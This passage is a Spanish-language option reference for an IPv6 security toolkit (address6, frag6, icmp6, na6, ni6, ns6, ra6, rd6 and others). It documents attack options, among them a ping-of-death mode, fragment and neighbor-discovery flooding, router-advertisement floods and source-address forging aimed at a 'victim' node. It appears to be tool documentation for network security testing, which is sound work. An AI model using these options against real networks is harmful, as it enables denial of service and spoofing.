	direcciones IPv6 que leer desde stdin 

	--print-decode, -d        
	direcciones IPv6 Decodificadas

	--print-stats, -s         
	estadísticas de impresión sobre las direcciones IPv6

	--print-unique, -q        
	Descartar direcciones IPv6 duplicadas

	--accept, -j              
	Aceptar direcciones IPv6 desde prefijo IPv6 especificado

	--accept-type, -b         
	Aceptar direcciones IPv6 de tipo especificado

	--accept-scope, -k        
	Acepte direcciones IPv6 de ámbito especificado

	--accept-utype, -w        
	Aceptar direcciones IPv6 Unicast del tipo especificado

	--accept-iid, -g          
	Aceptar direcciones IPv6 con IID del tipo especificado

	--block, -J               
	Bloquear direcciones IPv6 de prefijo IPv6 especificado

	--block-type, -B          
	Bloquear direcciones IPv6 de tipo especificado

	--block-scope, -K         
	Bloquear direcciones IPv6 de ámbito especificado

	--block-utype, -W         
	Bloquear direcciones IPv6 unicast de tipo especificado

	--block-iid, -G           
	Bloquear direcciones IPv6 con IID del tipo especificado

	--verbose, -v             
	Esta opción indica a la herramienta address6 a ser detallado.

	--help, -h                
	Imprime la información ayuda de la herramienta.

	Opciones de la Herramienta flow6

	--interface, -i
	Esta opción especifica la interfaz de red que la herramienta utilizara.

	--src-address, -s
	Esta opción especifica la dirección IPv6 de origen.

	--dst-address, -d
	Esta opción especifica la dirección IPv6 de destino.

	--hop-limit, -A
	Esta opción especifica  el límite de salto que utilizara los paquetes ipv6.

	--src-link-address, -S
	Esta opción especifica El nivel de vínculo de dirección de origen de los paquetes de sondeos.

	--link-dst-address, -D
	Esta opción especifica la capa de enlace de dirección de destino de los paquetes de sondeos.

	--protocol, -P
	Esta opción especifica el tipo de protocolo de los paquetes (TCP, UDP)

	--dst-port, -p
	Esta opción especifica el puerto de destino. Ej(80/tcp , 53/udp)

	--flow-label-policy, -W
	Esta opción indica a la herramienta determinar la política de generación de flujo de etiqueta.

	--verbose, -v
	Esta opción indica a la herramienta flow6 a ser detallado.

	--help, -h
	Imprime la información ayuda de la herramienta.

	Opciones de la Herramienta frag6

	--interface, -i
	Esta opción especifica la interfaz de red que la herramienta utilizara.

	--src-link-address, -S
	Esta opción especifica El nivel de vínculo de dirección de origen de los paquetes de sondeos.

	--link-dst-address, -D
	Esta opción especifica la capa de enlace de dirección de destino de los paquetes de sondeos.

	--src-address, -s
	Esta opción especifica la dirección IPv6 de origen.

	--dst-address, -d
	Esta opción especifica la dirección IPv6 de destino.

	--hop-limit, -A
	Esta opción especifica  el límite de salto que utilizara los paquetes ipv6.

	--dst-opt-hdr, -u
	Esta opción especifica que una cabecera Opciones de destino se va incluir en los paquetes de salida.

	--dst-opt-u-hdr, -U
	Esta opción especifica una cabecera Opciones de destino va ser incluida en la parte fragmentable del paquete de salida

	--hbh-opt-hdr, -H
	Esta opción especifica que un encabezado Hop-by-Hop Opciones va incluir el paquete de salida.

	--frag-size, -P
	Esta opción especifica el tamaño de los fragmentos de carga útil IPv6.

	--frag-type, -O
	Esta opción especifica el tipo de fragmento. Ej (primero, medio, pasado, atomico)

	--frag-offset, -o
	Esta opción especifica el offset de fragmento.

	--frag-id, -I
	Esta opción especifica el valor de identificación de un fragmento

	--no-timestamp, -T
	Si se utiliza esta opción la marca del tiempo no es incluida en la carga útil.

	--no-responses, -n
	Esta opción indica a la herramienta frag6 no mostrar respuestas a los fragmentos enviados.

	--frag-reass-policy, -p
	Esta opción permite determinar el fragmento  política reesamblaje ipv6 del destino.

	--frag-id-policy, -W
	Esta opción indica a la herramienta determinar  la política de generación de fragmentos. Es decir envía una serie de paquetes de sondeo para el nodo de destino.

	--pod-attack, -X
	Esta opción indica a la herramienta para llevar a cabo un ataque de “ping de la muerte” contra el destino especificado.

	--flood-frags, -F
	Esta opción indica a la herramienta para enviar el número especificado de fragmentos de back-to-back a la meta nodo

	--loop, -l
	Esta opción indica a la herramienta frag6 para enviar periódicamente fragmentos IPV6 para el nodo de destino.

	--sleep, -z
	Esta opción indica la cantidad de tiempo que la herramienta debería hacer una pausa entre el envió de fragmentos IPv6 (btaches)

	--verbose, -v
	Esta opción indica a la herramienta frag6 a ser detallado.

	--help, -h
	Imprime la información ayuda de la herramienta frag6.

	Opciones de la Herramienta icmp6

	--interface, -i
	Esta opción especifica la interfaz de red que la herramienta utilizara.

	--src-address, -s
	Esta opción especifica la dirección IPv6 de origen de los paquetes de ataques.

	--dst-address, -d
	Esta opción especifica la dirección IPv6 de destino de la víctima.

	--hop-limit, -c
	Esta opción especifica  el límite de salto que utilizara para los mensajes de redirección.

	--frag-hdr, -y
	Esta opción especifica que los mensajes de error ICMPv6 deben ser fragmentados.

	--dst-opt-hdr, -u
	Esta opción especifica que una cabecera Opciones de destino se va a incluir en los paquetes de ataque.

	--dst-opt-u-hdr, -U
	Esta opción especifica una cabecera Opciones de destino para ser incluido en la "parte Fragmentable" de los paquetes de ataque.

	--hbh-opt-hdr, -H
	Esta opción especifica que un encabezado Hop-by-Hop Opciones se va a incluir en el paquete resultante.

	--src-link-address, -S
	Esta opción especifica el nivel de vínculo de dirección de origen de los paquetes de ataque.

	--link-dst-address, -D
	Esta opción especifica la capa de enlace de dirección de destino de los paquetes de ataque.

	--icmp6, -t
	Esta opción especifica el Código Tipo y del mensaje de error ICMPv6.

	--icmp6-dest-unreach, -e
	Esta opción establece el tipo ICMPv6 a "1" (destino inalcanzable)

	--icmp6-packet-too-big, -E
	Esta opción establece el tipo ICMPv6 a "1", y el Código ICMPv6 a "0", sirve especialmente para paquetes grandes. 

	--icmp6-time-exceeded, -A
	Esta opción establece el tipo ICMPv6 en "3" (Tiempo excedido).

	--icmp6-param-problem, -R
	Esta opción establece el ICMPv6 Tipo a "4" (Problema en el parámetro).

	--mtu, -m
	Especifica el valor del campo "MTU" de ICMPv6.

	--pointer, -O
	Esta opción especifica el valor del campo "puntero" de los mensajes de error ICMPv6.

	--payload-type, -p
	Esta opción especifica el tipo de carga útil para ser incluido en la carga útil de ICMPv6. Ej: "TCP", "UDP", y "icmp6"

	--payload-size, -P
	Tamaño de la carga útil para ser incluido en la carga útil de ICMPv6 no se debe exceder MTU IPv6 (1280 bytes)

	--no-payload, -n
	Esta opción especifica que ninguna carga útil debe ser incluido en el mensaje de error ICMPv6.

	--ipv6-hlim, -C
	Esta opción especifica el límite de saltos del paquete IPv6 incluido en la carga útil de error ICMPv6 mensaje. El límite de saltos se asignó al azar a un valor entre 64 y 243.

	--target-addr, -r
	Esta opción especifica la dirección de origen del paquete IPv6 que está incrustado en el error ICMPv6 mensaje.

	--peer-addr, -x
	Esta opción especifica la dirección de destino del paquete IPv6 que está incrustado en el ICMPv6 mensaje de error.

	--target-port, -o
	Esta opción especifica el puerto de origen del paquete TCP o UDP contenida en la carga útil de ICMPv6.

	--peer-port, -a
	Esta opción especifica el puerto de destino del paquete TCP o UDP que figura en el ICMPv6.

	--tcp-flags, -X
	Esta opción especifica las banderas de la cabecera TCP contenida en la carga útil de ICMPv6. Las banderas son especificadas como "F" (FIN), "S" (SYN), "R" (RST), "P" (PSH), "A" (ACK), "U" (URG), "X" (sin banderas).

	--tcp-seq, -q
	Esta opción especifica el número de secuencia de la cabecera TCP contenida en la carga útil de ICMPv6.

	--tcp-ack, -Q
	Esta opción especifica el número de reconocido de la cabecera TCP contenida en el ICMPv6.

	--tcp-urg, -V
	Esta opción especifica el puntero urgente del encabezado TCP contenida en la carga útil de ICMPv6.

	--tcp-win, -w
	Esta opción especifica la ventana de la cabecera TCP contenida en la carga útil de ICMPv6. Solo se usa en TCP.

	--block-src, -j
	Esta opción establece un filtro de bloque para los paquetes entrantes, en base a su IPv6 Dirección de origen.

	--block-dst, -k
	Esta opción establece un filtro de bloque de los mensajes de solicitud de vecino entrantes, en base a su IPv6 Dirección de destino. Si no se especifica la longitud del prefijo, se selecciona una longitud de prefijo "/ 128"

	--block-link-src, -J
	Esta opción establece un filtro de bloque para los paquetes entrantes, en función de su nivel de vínculo de dirección de origen.

	--block-link-dst, -K
	Esta opción establece un filtro de bloque para los paquetes entrantes, en función de su capa de enlace de dirección  destino.

	--accept-src, -b
	Esta opción establece un filtro de aceptar para los paquetes entrantes, en base a su IPv6 Dirección de origen.

	--accept-dst, -g
	Esta opción establece un filtro para aceptar los paquetes entrantes, en base a su dirección IPv6 de destino.

	--accept-link-src, -B
	Esta opción establece un filtro de aceptar para los mensajes de solicitud de vecino entrantes, en base a su la capa de enlace Dirección de Origen.

	--accept-link-dst, -K
	Esta opción establece un filtro de aceptar para los paquetes entrantes, en función de su capa de enlace de dirección destino.

	--sanity-filters, -f
	Esta opción añade automáticamente un "filtro de bloque" para el IPv6 Dirección de origen de los paquetes. Esta opción puede ser conveniente si la herramienta funciona en "modo de escucha"

	--loop, -l
	Esta opción indica a la herramienta icmp6 para enviar mensajes de error ICMPv6 periódicas al nodo víctima.

	--sleep, -z
	Esta opción especifica la cantidad de tiempo para hacer una pausa entre el envío de mensajes de error ICMPv6. Por defecto es 1 seg.

	--listen, -L
	Esto indica a la herramienta icmp6 para operar en el modo "Escuchar". Se recomienda usarla después de atacar a un determinado nodo

	--verbose, -v
	Esta opción indica a la herramienta frag6 a ser detallado.

	--help, -h
	Imprime la información ayuda de la herramienta icmp6.

	Opciones de la Herramienta jumbo6

	--interface, -i
	Esta opción especifica el interfaz de red que la herramienta utilizará.

	--src-link-address, -S
	Esta opción especifica el nivel de vínculo de dirección de origen de los jumbogramas IPv6.

	--link-dst-address, -D
	Esta opción especifica la capa de enlace de dirección de destino de los jumbogramas IPv6.

	--src-address, -s
	Esta opción especifica la dirección IPv6 de origen.

	--dst-address, -d
	Esta opción especifica la dirección IPv6 de destino.

	--hop-limit, -A
	Esta opción especifica el límite de saltos que se utilizará para los paquetes IPv6.

	--frag-hdr, -y
	Esta opción especifica que el paquete resultante debe ser fragmentado.

	--dst-opt-hdr, -u
	Esta opción especifica que una cabecera Opciones de destino se va a incluir en el paquete resultante.

	--dst-opt-u-hdr, -U
	Esta opción especifica una cabecera Opciones de destino para ser incluido en la "parte Fragmentable" del paquete resultante.

	--hbh-opt-hdr, -H
	Esta opción especifica que un encabezado Hop-by-Hop Opciones se va a incluir en el paquete resultante.

	--ipv6-length, -q
	Esta opción especifica el valor que el campo "Longitud total" de la cabecera IPv6 debe establecerse.

	--jumbo-length, -Q
	Esta opción especifica el valor al que el campo "Jumbo longitud de carga útil" de la carga útil Jumbo opción se debe establecer.

	--payload-size, -P
	Esta opción especifica el tamaño de la carga útil Jumbo.

	--block-src, -j
	Esta opción establece un filtro de bloque para los paquetes entrantes, en base a su IPv6 Dirección de origen.

	--block-dst, -k
	Esta opción establece un filtro de bloque para los paquetes entrantes, en función de su dirección de destino IPv6.

	--block-link-src, -J
	Esta opción establece un filtro de bloque para los paquetes entrantes, en función de su nivel de vínculo de dirección de origen

	--block-link-dst, -K
	Esta opción establece un filtro de bloque para los paquetes entrantes, en función de su capa de enlace de destino Dirección.

	--accept-src, -b
	Esta opción establece un filtro de aceptar para los paquetes entrantes, en base a su IPv6 Dirección de origen

	--accept-dst, -g
	Esta opción establece un filtro para aceptar los paquetes entrantes, en base a su dirección IPv6 de destino.

	--accept-link-src, -B
	Esta opción establece un filtro de aceptar para los paquetes entrantes, en función de su nivel de vínculo de dirección de origen.

	--accept-link-dst, -G
	Esta opción establece un filtro de aceptar para los paquetes entrantes, en función de su capa de enlace de destino Dirección.

	--loop, -l
	Esta opción indica a la herramienta jumbo6 enviar jumbogramas periódicas IPv6 al nodo víctima.

	--sleep, -z
	Esta opción especifica la cantidad de tiempo para hacer una pausa entre el envío de IPv6 jumbogramas

	--listen, -L
	Esta opción indica a la herramienta jumbo6 para funcionar en modo de escucha.

	--verbose, -v
	Esta opción indica a la herramienta jumbo6 a ser detallado.

	--help, -h
	Imprimir información ayuda para la herramienta jumbo6.

	Opciones de la Herramienta na6

	--interface, -i
	Esta opción especifica el interfaz de red que la herramienta utilizará.

	--src-address, -s
	Esta opción especifica la dirección IPv6 de origen.

	--dst-address, -d
	Esta opción especifica la dirección IPv6 de destino.

	--hop-limit, -A
	Esta opción especifica el límite de saltos que se utilizará para los mensajes de anuncio de vecino.

	--frag-hdr, -y
	Esta opción especifica que el paquete resultante debe ser fragmentado.

	--dst-opt-hdr, -u
	Esta opción especifica que una cabecera Opciones de destino se va a incluir en el paquete resultante

	--dst-opt-u-hdr, -U
	Esta opción especifica una cabecera Opciones de destino para ser incluido en la "parte Fragmentable" de el paquete resultante.

	--hbh-opt-hdr, -H
	Esta opción especifica que un encabezado Hop-by-Hop Opciones se va a incluir en el paquete resultante.

	--src-link-address, -S
	Esta opción especifica el nivel de vínculo de dirección de origen de los mensajes de anuncio de vecino.

	--link-dst-address, -D
	Esta opción especifica la capa de enlace de dirección de destino de los mensajes de anuncio de vecino

	--router, -r
	Esta opción indica a la herramienta Na6 para establecer el "R" (Router) de bits en el anuncio de vecino mensajes que envía. El bit "R" indica que el nodo que envía el mensaje es un router.

	--solicited, -c
	Esta opción indica a la herramienta Na6 para ajustar la "S" ("Solicitada") poco en el anuncio de vecino mensajes que envía. Cuando funciona en modo pasivo (opción "-L"), la bandera "Solicitada" se ve obligado a 1 en todas las respuestas enviadas a las direcciones IPv6 unicast

	--override, -o
	Esta opción indica a la herramienta Na6 para establecer el bit de "O" ("Override") en el anuncio de vecino mensajes que envía.

	--target, -t
	Esta opción especifica la dirección IPv6 de destino de los mensajes de anuncio de vecino.

	--target-lla-opt, -E
	Esta opción especifica el contenido de una opción de dirección de capa de enlace de destino para ser incluido en la Mensajes de anuncio de vecino.

	--add-tlla-opt, -e
	Esta opción indica a la herramienta Na6 incluir una opción de dirección de nivel de vínculo de destino en el vecino para el envío de mensajes de propaganda. La diferencia entre esta opción y la opción "-E" es que la opción "-e" no especifica el real valor de la opción, pero sólo indica a la herramienta para incluir una opción de destino la dirección de capa de enlace.

	--block-src, -j
	Esta opción establece un filtro de bloque de los mensajes de solicitud de vecino entrantes, en base a su IPv6 Dirección de Origen.

	--block-dst, -k
	Esta opción establece un filtro de bloque de los mensajes de solicitud de vecino entrantes, en base a su IPv6 Dirección de destino.

	--block-link-src, -J
	Esta opción establece un filtro de bloque de los mensajes de solicitud de vecino entrantes, en función de su enlace- capa de Origen de la dirección.

	--block-link-dst, -K
	Esta opción establece un filtro de bloque de los mensajes de solicitud de vecino entrantes, en función de su enlace- capa Dirección de destino.

	--block-target, -w
	Esta opción establece un filtro de bloque de los mensajes de solicitud de vecino entrantes, en base a su Dirección de destino.

	--accept-src, -b
	Esta opción establece un filtro de aceptar para los mensajes de solicitud de vecino entrantes, en base a su IPv6 dirección de origen.

	--accept-dst, -g
	Esta opción establece un filtro de aceptar para los mensajes de solicitud de vecino entrantes, en base a su IPv6 Dirección de destino

	--accept-link-src, -B
	Esta opción establece un filtro de aceptar para los mensajes de solicitud de vecino entrantes, en base a su la capa de enlace Dirección de Origen.

	--accept-link-dst, -K
	Esta opción establece un filtro de aceptar para los mensajes de solicitud de vecino entrantes, en base a su capa de enlace de dirección de destino.

	--accept-target, -W
	Esta opción establece un filtro de aceptar para los mensajes de solicitud de vecino entrantes, en base a su Dirección de destino.

	--flood-targets, -T
	Esta opción indica a la herramienta Na6 enviar Vecino Anuncios para múltiples direcciones de destino. Se especifica el número de diferentes direcciones de destino como "-T número". La dirección de destino de cada paquete es seleccionado al azar de la fe80 prefijo :: / 64a menos que un prefijo diferente ha sido especificado por mediante la opción "-t".

	--flood-sources, -F
	Esta opción indica a la herramienta para enviar varios mensajes de anuncio de vecino con diferente Direcciones de origen.

	--loop, -l
	Esta opción indica a la herramienta Na6 enviar Vecino periódica anuncios al nodo víctima.

	--sleep, -z
	Esta opción especifica la cantidad de tiempo para hacer una pausa entre el envío de solicitaciones Vecino (cuando el "- loop" opción está establecida)

	--listen, -L
	Esto indica a la herramienta Na6 para operar en modo pasivo (posiblemente después de atacar a un nodo dado, si el '- d "o" se especificaron las opciones-D '). Tenga en cuenta que esta opción no se puede utilizar en conjunción con el "-L" ("- Loop") opción

	--verbose, -v
	Esta opción indica a la herramienta Na6 a ser detallado.

	--help, -h
	Imprimir información ayuda para la herramienta Na6

	Opciones de la Herramienta ni6

	--interface, -i
	Esta opción especifica el interfaz de red que la herramienta utilizará.

	--src-address, -s
	Esta opción especifica la dirección IPv6 de origen (o un prefijo IPv6) que se utilizarán para la dirección de origen los paquetes de ataque.

	--dst-address, -d
	Esta opción especifica la dirección IPv6 de destino  de la víctima. Se puede dejar sin especificar sólo si se opera en modo escucha para que la dirección de destino se ajuste automáticamente a la Dirección de origen del mensaje ICMPv6 NI consulta entrante. 

	--hop-limit, -A
	Esta opción especifica el límite de saltos que se utilizará para los paquetes IPv6.

	--frag-hdr, -y
	Esta opción especifica que el paquete resultante debe ser fragmentado.

	--dst-opt-hdr, -u
	Esta opción especifica que una cabecera Opciones de destino se va a incluir en el paquete resultante.

	--dst-opt-u-hdr, -U
	Esta opción especifica una cabecera Opciones de destino para ser incluido en la "parte Fragmentable" de el paquete resultante.

	--hbh-opt-hdr, -H
	Esta opción especifica que un encabezado Hop-by-Hop Opciones se va a incluir en el paquete resultante

	--src-link-address, -S
	Esta opción especifica el nivel de vínculo de dirección de origen de los segmentos TCP. Si no se especifica, el nivel de vínculo de dirección de origen se establece en la dirección de nivel de vínculo real de la interfaz de red.

	--link-dst-address, -D
	Esta opción especifica la capa de enlace de dirección de destino de los paquetes ICMPv6 NI.

	--payload-size, -P
	Esta opción especifica el tamaño (en bytes) de la carga útil ICMPv6 NI.

	--subject-ipv6, -6
	Esta opción especifica una dirección IPv6 que se utilizará como el Sujeto de ICMPv6 Información de nodo Consultar mensajes

	--subject-ipv4, -4
	Esta opción especifica una dirección IPv4 para ser utilizado como el Sujeto de ICMPv6 Información de nodo Consultar mensajes.

	--subject-name, -n
	Esta opción especifica un nombre que se utilizará como el Sujeto de ICMPv6 Nodo Información de consulta mensajes. Nombre x defecto es FQDN.

	--subject-fname, -N
	Esta opción indica a la herramienta NI6 para establecer el asunto de los mensajes ICMPv6 NI consulta a un forjado el nombre de la longitud especificada

	--subject-ename, -x
	Esta opción indica a la herramienta NI6 para establecer el asunto de un mensaje ICMPv6 NI consulta a una etiqueta con formato incorrecto de la longitud especificada.

	--subject-nloop, -O
	Esta opción especifica que el campo de datos debe establecerse en un nombre que contiene una compresión DNS bucle.

	--sname-slabel, -e
	Esta opción específica que el nombre de asunto especificada es un nombre de etiqueta única, y por lo tanto debe ser terminado con dos (en lugar de uno) etiquetas NULL.

	--max-label-size, -Z
	Esta opción especifica el tamaño máximo del nombre de la etiqueta. Por defecto es 63

	--code, -C
	Esta opción especifica el código de ICMPv6. Para los mensajes ICMPv6 NI consulta, si el tipo específico de sujeto está especificado, el código ICMPv6 se ajusta automáticamente en el valor correspondiente.

	--qtype, -q
	Esta opción especifica el valor Qtype de mensajes ICMPv6 NI. Para mensajes Responder ICMPv6 NI, si se especifica el tipo de datos específico.

	--flags, -X
	Esta opción especifica el campo de las "banderas" de los mensajes ICMPv6 NI.

	--data-ipv6, -w
	Esta opción especifica una dirección IPv6 que se utilizará como datos de ICMPv6 Información de nodo Responder mensajes.

	--data-ipv4, -W
	Esta opción especifica una dirección IPv4 para ser utilizado como la de datos de ICMPv6 Información de nodo Responder mensajes.

	--data-name, -a
	Esta opción especifica un nombre que se utilizará como el de datos de ICMPv6 Información de nodo Responder mensajes

	--data-fname, -A
	Esta opción indica a la herramienta NI6 para establecer los datos de los mensajes de respuesta ICMPv6 NI para un forjado el nombre de la longitud especificada.

	--data-ename, -Q
	Esta opción indica a la herramienta NI6 para establecer los datos de los mensajes de respuesta ICMPv6 NI a un formato incorrecto etiqueta de la longitud especificada

	--data-nloop, -O
	Esta opción especifica que el campo de datos debe establecerse en un nombre que contiene una compresión DNS bucle. 0-2

	--dname-slabel, -E
	Esta opción especifica que el especificado nombre de datos es un nombre de etiqueta única, y por lo tanto debe ser terminado con dos etiquetas NULL

	--block-src, -j
	Esta opción establece un filtro de bloque para los paquetes entrantes, en base a su IPv6 Dirección de origen.

	--block-dst, -k
	Esta opción establece un filtro de bloque para los paquetes entrantes, en función de su dirección de destino IPv6.

	--block-link-src, -J
	Esta opción establece un filtro de bloque para los paquetes entrantes, en función de su nivel de vínculo de dirección de origen

	--block-link-dst, -K
	Esta opción establece un filtro de bloque para los paquetes entrantes, en función de su capa de enlace de destino Dirección.

	--accept-src, -b
	Esta opción establece un filtro de aceptar para los paquetes entrantes, en base a su IPv6 Dirección de origen.

	--accept-dst, -g
	Esta opción establece un filtro para aceptar los paquetes entrantes, en base a su dirección IPv6 de destino.

	--accept-link-src, -B
	Esta opción establece un filtro de aceptar para los paquetes entrantes, en función de su nivel de vínculo de dirección de origen.

	--accept-link-dst, -K
	Esta opción establece un filtro de aceptar para los paquetes entrantes, en función de su capa de enlace de destino Dirección

	--forge-src-addr, -r
	Esta opción indica a la herramienta NI6 para forjar el IPv6 Dirección de origen de los mensajes ICMPv6 NI. Nota que cuando se opera en modo de escucha, a menos que esta herramienta se establece, NI6 no suplantar a otros nodos.

	--forge-link-src-addr, -R
	Esta opción indica a la herramienta NI6 para forjar el vínculo de la capa Dirección de origen de los mensajes ICMPv6 NI

	--loop, -l
	Esta opción indica a la herramienta tcp6 enviar segmentos TCP periódicas al nodo víctima.

	--sleep, -z
	Esta opción especifica la cantidad de tiempo para hacer una pausa entre el envío de ICMPv6 Información de nodo.

	--listen, -L
	Esto indica a la herramienta NI6 para funcionar en modo de escucha.

	--verbose, -v
	Esta opción indica a la herramienta NI6 a ser detallado.

	--help, -h
	Imprimir información ayuda para la herramienta NI6.

	Opciones de la Herramienta ns6

	--interface, -i
	Esta opción especifica el interfaz de red que na-ataque utilizará

	--src-address, -s
	Esta opción es para especificar el Origen de la dirección IPv6 que se utilizará para la solicitud de vecino mensajes.

	--dst-address, -d
	Esta opción especifica el IPv6 Dirección de destino de los mensajes de solicitud de vecino.

	--hop-limit, -A
	Esta opción especifica el límite de saltos IPv6 que se utilizará para los mensajes de solicitud de vecino. por defecto es 255

	--frag-hdr, -y
	Esta opción especifica que el paquete resultante debe ser fragmentado

	--dst-opt-hdr, -u
	Esta opción especifica que una cabecera Opciones de destino se va a incluir en el paquete resultante.

	--dst-opt-u-hdr, -U
	Esta opción especifica una cabecera Opciones de destino para ser incluido en la "parte Fragmentable" de el paquete resultante

	--hbh-opt-hdr, -H
	Esta opción especifica que un encabezado Hop-by-Hop Opciones se va a incluir en el paquete resultante

	--src-link-address, -S
	Esta opción especifica el nivel de vínculo de dirección de origen de los mensajes de solicitud de vecino

	--link-dst-address, -D
	Esta opción especifica la capa de enlace de dirección de destino de los mensajes de solicitud de vecino

	--target, -t
	Esta opción especifica la dirección de destino de IPv6 de los mensajes de solicitud de vecino

	--source-lla-opt, -E
	Esta opción especifica el contenido de una opción de dirección de capa de enlace de fuente para ser incluido en la Mensajes de solicitud de vecino.

	--add-slla-opt, -e
	Esta opción indica a la herramienta ns6 para incluir una opción de dirección de nivel de vínculo de origen en el vecino Mensajes de solicitud que envía.

	--flood-sources, -F
	Esta opción indica a la herramienta ns6 enviar Solicitaciones Vecino de IPv6 múltiple (y al azar)

	--flood-targets, -T
	Esta opción indica a la herramienta ns6 para enviar mensajes de solicitud de vecino para múltiples Target Direcciones. Dirección de cada paquete es seleccionado al azar a partir del prefijo :: / 64

	--loop, -l
	Esta opción indica a la herramienta ns6 enviar Solicitaciones Vecino periódicas a la víctima.

	--sleep, -z
	Esta opción indica a la herramienta ns6 a la cantidad de tiempo para hacer una pausa entre el envío de Vecino Solicitaciones.

	--verbose, -v
	Esta opción indica a la herramienta ns6 a ser detallado.

	--help, -h
	Imprimir información ayuda para la herramienta ns6

	Opciones de la Herramienta ra6

	--interface, -i
	Esta opción es para especificar la interfaz de red que se utilizará para llevar a cabo el ataque

	--src-address, -s
	Esta opción especifica el Origen de la dirección IPv6 que se utilizarán para el Router

	--dst-address, -d
	Especifica el IPv6 Dirección de destino de los mensajes RA.

	--hop-limit, -A
	Esta opción especifica el límite de saltos de los mensajes RA.

	--frag-hdr, -y
	Esta opción especifica que el paquete resultante debe ser fragmentado.

	--dst-opt-hdr, -u
	Esta opción especifica que una cabecera Opciones de destino se va a incluir en el paquete resultante.

	--dst-opt-u-hdr, -U
	Esta opción especifica una cabecera Opciones de destino para ser incluido en la "parte Fragmentable" del paquete resultante.

	--hbh-opt-hdr, -H
	Esta opción especifica que un encabezado Hop-by-Hop Opciones se va a incluir en el paquete resultante.

	--curhop, -c
	Esta opción especifica el valor CurHop que se incluye en los mensajes RA.

	--lifetime, -t
	Esta opción especifica el valor de por vida del router que se incluye en los mensajes RA. Por defecto es 9000 s

	--reachable, -r
	Esta opción especifica el valor Reachable Tiempo que se incluye en los mensajes RA

	--retrans, -x
	Esta opción especifica el valor del temporizador Retrans que se incluye en los mensajes RA. Si se deja sin especificar esta opción toma el valor de 4000 milisegundos

	--managed, -m
	Esta opción hace que la herramienta RA6 establezca la 'M' (Managed) en los mensajes RA que envía

	--other, -o
	Esta opción hace que la herramienta RA6 pueda establecer el "O" ("Other") en los mensajes RA que envía. 

	--home-agent, -a
	Esta opción hace que la herramienta RA6 pueda establecer la 'H' ("Home Agent") en los mensajes RA que envía. (el bit de la 'H' se especifica en el RFC 3775). 

	--nd-proxy, -q
	Esta opción hace que la herramienta RA6 pueda establecer la 'P' ("ND Proxy") en los mensajes RA que envía. (el bit de "P" se especifica en RFC4389).

	--preference, -p
	Esta opción especifica el campo Preference de los mensajes RA, con significado "1" "Alto", "0", que significa "Normal" y "-1", que significa "bajo" (el valor "-2" está prohibido). E valor pos  defecto es  "1" (Alto).

	--src-link-address, -S
	Esta opción especifica el nivel de vínculo de dirección de origen de los mensajes RA.

	--link-dst-address, -D
	Esta opción es para especificar el nivel de vínculo Dirección de destino del anuncio de enrutador mensajes.

	--source-lla-opt, -E
	Esta opción especifica el contenido de capa de enlace de origen en un mensaje RA. 

	--add-slla-opt, -e
	Esta opción indica a la herramienta RA6 incluir una opción de dirección de nivel de vínculo de origen en el mensaje RA.

	--prefix-opt, -P
	Esta opción especifica el contenido de una opción Prefix (información de prefijo) que se incluirán en el mensaje RA. Si no se especifica, se utiliza un valor de 0xffffffff (infinito)

	--route-opt, -R
	Esta opción especifica el contenido de la opción Información de ruta que se incluirán en los mensajes RA.

	--mtu-opt, -M
	Esta opción es para especificar el valor de una opción MTU que se debe incluir en el RA

	--rdnss-opt, -N
	Esta opción permite que el anuncio de una serie de servidores DNS recursivos mediante al opción RDNSS 

	--flood-prefixes, -f
	Esta opción indica a la herramienta RA6 para inundar el host víctima con opciones de información de prefijo.

	--flood-sources, -F
	Esta opción indica a la herramienta para enviar mensajes RA desde múltiples direcciones.

	--flood-routes, -w
	Esta opción indica a la herramienta RA6 para inundar el objetivo con opciones de información de ruta.

	--flood-dns, -W
	Esta opción indica a la herramienta RA6 para inundar el destino con direcciones IPv6 al azar

	--block-src, -j
	Esta opción establece un filtro de bloque para los mensajes entrantes de solicitud al enrutador, en base a su dirección  IPv6 de origen.

	--block-dst, -k
	Esta opción establece un filtro de bloque para los mensajes entrantes de solicitud al enrutador, en base a su dirección  IPv6 de destino.

	--block-link-src, -J
	Esta opción establece un filtro de bloque para los mensajes entrantes solicitud del router, en función a la capa enlace dirección de origen

	--block-link-dst, -K
	Esta opción establece un filtro de bloque para los mensajes entrantes solicitud al router, en función a la dirección de destino de la capa de enlace.

	--accept-src, -b
	Esta opción establece un filtro de aceptar para los mensajes de solicitud de enrutador entrante, en función de su Dirección IPv6 de origen.

	--accept-dst, -g
	Esta opción establece un filtro de aceptar para los mensajes de solicitud de enrutador entrante, en función de su Dirección IPv6 de Origen.

	--accept-link-src, -B
	Esta opción establece un filtro de aceptar para los mensajes de solicitud de enrutador entrante, en función de su capa enlace de dirección de origen.

	--accept-link-dst, -K
	Esta opción establece un filtro de aceptar para los mensajes de solicitud de enrutador entrante, en función de su capa enlace de dirección de destino.

	--loop, -l
	Esta opción indica a la herramienta RA6 para enviar anuncios periódicos al Router en el nodo de destino

	--sleep, -z
	Esta opción especifica la cantidad de tiempo para hacer una pausa entre el envío de anuncios de enrutador

	--listen, -L
	Esta opción especifica que la herramienta debe entrar en el modo "pasivo"

	--verbose, -v
	Esta opción indica a la herramienta RA6 a ser detallado

	--help, -h
	Imprimir información ayuda para la herramienta RA6.

	Opciones de la Herramienta rd6

	--interface, -i
	Esta opción especifica el interfaz de red que la herramienta utilizará.

	--src-address, -s
	Esta opción especifica la dirección IPv6 de origen

	--dst-address, -d
	Esta opción especifica el IPv6 Dirección de destino de la víctima

	--hop-limit, -A
	Esta opción especifica el límite de saltos que se utilizará para los mensajes de redirección.

	--frag-hdr, -y
	Esta opción especifica que el paquete resultante debe ser fragmentado

	--dst-opt-hdr, -u
	Esta opción especifica que una cabecera Opciones de destino se va a incluir en el paquete resultante

	--dst-opt-u-hdr, -U
	Esta opción especifica una cabecera Opciones de destino para ser incluido en la "parte Fragmentable" de el paquete resultante

	--hbh-opt-hdr, -H
	Esta opción especifica que un encabezado Hop-by-Hop Opciones se va a incluir en el paquete resultante

	--src-link-address, -S
	Esta opción especifica el nivel de vínculo de dirección de origen de los mensajes de redireccionamiento

	--link-dst-address, -D
	Esta opción especifica la capa de enlace de dirección de destino de los mensajes de redireccionamiento

	--redir-target, -t
	Esta opción especifica la dirección de destino de los mensajes de redirección.

	--redir-dest, -r
	Esta opción especifica el redireccionamiento dirección de destino.

	--payload-type, -p
	Esta opción especifica el tipo de carga útil para ser incluido en la carga útil de redireccionamiento.

	--payload-size, -P
	Tamaño de la carga útil a incluir en el mensaje de redirección

	--no-payload, -n
	Esta opción especifica que ninguna carga útil

	--ipv6-hlim, -c
